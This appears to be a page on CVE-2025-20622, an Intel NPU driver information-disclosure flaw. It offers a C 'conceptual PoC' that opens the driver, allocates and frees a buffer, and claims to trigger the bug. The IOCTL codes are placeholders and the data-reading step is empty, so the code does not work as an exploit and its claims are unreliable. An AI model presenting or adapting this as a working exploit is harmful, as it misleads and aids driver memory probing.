CVE-2025-20622 Intel NPU驱动程序敏感信息未清除漏洞

// CVE-2025-20622 PoC - Intel NPU Driver Information Disclosure // This PoC demonstrates the resource uncleared vulnerability in Intel NPU Drivers // Note: This is a conceptual PoC for educational purposes #include <windows.h> #include <stdio.h> #include <intrin.h> // Intel NPU Driver IOCTL codes (example) #define IOCTL_NPU_GET_BUFFER 0x12345678 #define IOCTL_NPU_FREE_BUFFER 0x12345679 typedef struct _NPU_BUFFER_REQUEST { DWORD BufferSize; HANDLE BufferHandle; } NPU_BUFFER_REQUEST, *PNPU_BUFFER_REQUEST; BOOL triggerNPUVulnerability() { HANDLE hNPU = CreateFile( "\\\\.\\NPU", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hNPU == INVALID_HANDLE_VALUE) { printf("[-] Failed to open NPU driver handle\n"); return FALSE; } printf("[+] NPU driver handle opened successfully\n"); // Step 1: Request a buffer from NPU driver (may contain sensitive data) NPU_BUFFER_REQUEST request = {0}; request.BufferSize = 4096; DWORD bytesReturned = 0; BOOL status = DeviceIoControl( hNPU, IOCTL_NPU_GET_BUFFER, &request, sizeof(request), &request, sizeof(request), &bytesReturned, NULL ); if (status) { printf("[+] Buffer allocated from NPU driver\n"); printf("[+] Buffer handle: 0x%x\n", request.BufferHandle); } // Step 2: Free the buffer without proper cleanup (triggering the vulnerability) DeviceIoControl( hNPU, IOCTL_NPU_FREE_BUFFER, &request, sizeof(request), NULL, 0, &bytesReturned, NULL ); printf("[+] Buffer freed - sensitive data may remain uncleared\n"); // Step 3: Attempt to read residual sensitive data // In real attack, this would involve reading from reallocated memory printf("[*] Attempting to access residual data...\n"); CloseHandle(hNPU); return TRUE; } int main() { printf("CVE-2025-20622 PoC - Intel NPU Driver Info Disclosure\n"); printf("Target: Intel NPU Drivers for Windows < 32.0.100.4023\n\n"); if (triggerNPUVulnerability()) { printf("[+] Vulnerability trigger sequence completed\n"); } else { printf("[-] Failed to trigger vulnerability\n"); } return 0; }